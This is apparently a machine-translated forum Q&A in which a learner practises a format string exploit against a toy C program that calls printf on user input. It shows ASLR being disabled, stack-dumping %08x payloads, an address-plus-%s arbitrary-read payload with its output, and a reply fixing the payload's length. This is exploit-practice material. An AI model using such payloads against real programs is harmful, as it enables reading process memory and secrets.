我試圖利用格式字符串漏洞只是爲了練習,但出了問題。我的目標是利用這樣一個bug來讀取我選擇的某個地址。格式字符串漏洞演習
這是我想利用這個代碼:
#include <stdio.h>
void main(int argv, char *argv[]){
printf(argv[1]);
}
此程序是一個x86機器安裝2.6.20 Linux內核上運行。
我特林打印存儲在地址0x80483cb,屬於代碼段的字節:
echo 0 > /proc/sys/kernel/randomize_va_space
:
...
80483cb: e8 e8 fe ff ff call 80482b8 <[email protected]>
80483cb: e8 e8 fe ff ff call 80482b8 <[email protected]>
80483d0: 83 c4 10 add $0x10,%esp
80483d3: b8 00 00 00 00 mov $0x0,%eax
...
只是可以肯定,我也禁用了ASLR
我已經找到了準確位置在哪裏存儲內存地址做:
./print AAAA`perl -e 'print "%08x."x141'`
AAAA00000000.bffff0a8.080483fb.b7fcaffc.b7fcaffc.080494e8.b7fcaffc.00000000.b8000ce0.
bffff108.b7eb4e14.00000002.bffff134.bffff140.b7ff5b6c.b7fcaffc.00000000.bffff0c0.bffff108.
bffff0b0.b7eb4dd2.00000000.00000000.00000000.b8000ff8.00000002.080482d0.00000000.b7ff5aa0.
b7ff66b0.b8000ff8.00000002.080482d0.00000000.080482f1.080483a4.00000002.bffff134.080483e0.
08048440.b7ff66b0.bffff12c.b7ffee8e.00000002.bffff2ac.bffff2b4.00000000.bffff57a.bffff5dd.
bffff5f1.bffff5f8.bffff605.bffff615.bffff620.bffff674.bffff6bb.bffff6db.bffff6ef.bffff701.
bffff711.bffff729.bffff749.bffff761.bffff777.bffff781.bffffc71.bffffc7f.bffffc8f.bffffcbc.
bffffce7.bffffd08.bffffd33.bffffd41.bffffd5b.bffffe56.bffffe8b.bffffea0.bffffeba.bffffed2.
bfffff0a.bfffff11.bfffff19.bfffff24.bfffff3a.bfffff5f.bfffff67.bfffff74.bfffff82.bfffff9e.
bfffffb7.bfffffc2.bfffffcd.bfffffea.00000000.00000020.b7fe9400.00000021.b7fe9000.00000010.
078bfbff.00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.
00000007.00000007.b7fea000.00000008.00000000.00000009.080482d0.0000000b.00000000.0000000c.
00000000.0000000d.00000000.0000000e.00000000.00000017.00000000.0000000f.bffff29b.00000000.
00000000.00000000.00000000.00000000.69000000.00363836.00000000.00000000.00000000.72702f2e.
00746e69.41414141.
最後,我試過打印上面的字節做:
./print $(printf "\xcb\x83\x04\x08")`perl -e 'print "%08x."x140 . "%s"'`
但我得到的是故障之前,能夠看到這些字節:
00000000.bffff0a8.080483fb.b7fcaffc.b7fcaffc.080494e8.b7fcaffc.00000000.b8000ce0.bffff108.
b7eb4e14.00000002.bffff134.bffff140.b7ff5b6c.b7fcaffc.00000000.bffff0c0.bffff108.bffff0b0.
b7eb4dd2.00000000.00000000.00000000.b8000ff8.00000002.080482d0.00000000.b7ff5aa0.b7ff66b0.
b8000ff8.00000002.080482d0.00000000.080482f1.080483a4.00000002.bffff134.080483e0.08048440.
b7ff66b0.bffff12c.b7ffee8e.00000002.bffff2af.bffff2b7.00000000.bffff57a.bffff5dd.bffff5f1.
bffff5f8.bffff605.bffff615.bffff620.bffff674.bffff6bb.bffff6db.bffff6ef.bffff701.bffff711.
bffff729.bffff749.bffff761.bffff777.bffff781.bffffc71.bffffc7f.bffffc8f.bffffcbc.bffffce7.
bffffd08.bffffd33.bffffd41.bffffd5b.bffffe56.bffffe8b.bffffea0.bffffeba.bffffed2.bfffff0a.
bfffff11.bfffff19.bfffff24.bfffff3a.bfffff5f.bfffff67.bfffff74.bfffff82.bfffff9e.bfffffb7.
bfffffc2.bfffffcd.bfffffea.00000000.00000020.b7fe9400.00000021.b7fe9000.00000010.078bfbff.
00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.00000007.
00000007.b7fea000.00000008.000Segmentationfault
我的預期是在屏幕上得到一組字符的這是從第一次使用的地址開始的字節\ x00,我做錯了什麼?
我在Ubuntu 12.04.04 LTS VM上試了一下。禁用ASLR(這不應該在這裏)。你的第一個命令產生一個709字節長的字符串:'echo -n AAAA'perl -e'print「%08x。」x141'' | wc -c'。你的第二個命令產生707個字節:'echo -n $(printf「\ xcb \ x83 \ x04 \ x08」)'perl -e'print「%08x。」x140。 「%s」';'| wc -c'。儘量使兩個命令的長度完全相同,它應該可以工作。 – mofoe
感謝您的回答。我嘗試了你的建議(直接使用%x而不是%08x),它起作用!但我想了解,爲什麼我的解決方案不能工作?我明白%08x。比%s多3個字節,但由於這是棧中最後一個字節(更高的地址),所以它們不應該混淆字符串指針和字符串本身之間的距離。據我所知,這是一個重要的問題,我錯了嗎? – badnack
對不起,我在你回覆的那一刻編輯了評論。 Iw現在工作。這個問題的確是由於那3個字節。 – badnack